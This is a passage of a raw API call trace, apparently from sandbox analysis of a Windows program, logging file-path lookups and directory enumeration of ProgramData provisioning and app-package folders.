returned 1 [0210.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0210.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0210.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0210.455] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpFilePart=0x0) returned 0x50 [0210.455] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0210.691] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.691] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa15d3ecf, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa15d3ecf, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa15fa13e, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x159d, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0210.691] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1430407, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa1430407, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa1430407, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0210.692] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0210.692] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0210.692] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0210.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0210.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0210.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0210.693] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpFilePart=0x0) returned 0x50 [0210.693] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0210.695] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.695] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa15d3ecf, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa15d3ecf, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa15fa13e, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x159d, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0210.695] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1430407, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa1430407, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa1430407, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0210.696] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0210.696] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.696] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0210.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0210.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0210.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0210.698] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpFilePart=0x0) returned 0x55 [0210.698] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0210.704] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.704] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0210.705] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa13e3f24, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa13e3f24, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa140a197, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x139, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0210.705] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.705] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0210.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0210.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0210.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0210.705] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpFilePart=0x0) returned 0x55 [0210.705] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0210.706] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.706] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0212.051] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe") returned 0x71 [0212.053] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x71 [0212.053] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe") returned 0x71 [0212.054] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\") returned 0x72 [0212.054] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936d064c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbfbb36c0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xbfbb36c0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0212.518] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe") returned 0x71 [0212.519] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x71 [0212.519] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe") returned 0x71 [0212.520] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\") returned 0x72 [0212.521] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936d064c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbfbb36c0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xbfbb36c0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0212.544] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0212.546] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x79 [0212.546] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0212.547] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0212.548] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x942e23d9, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc0f86b75, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc0f86b75, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0212.551] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0212.552] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x79 [0212.552] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0212.553] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0212.553] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x942e23d9, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc0f86b75, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc0f86b75, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0212.556] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0212.750] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0212.750] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0212.751] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x74 [0212.752] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: 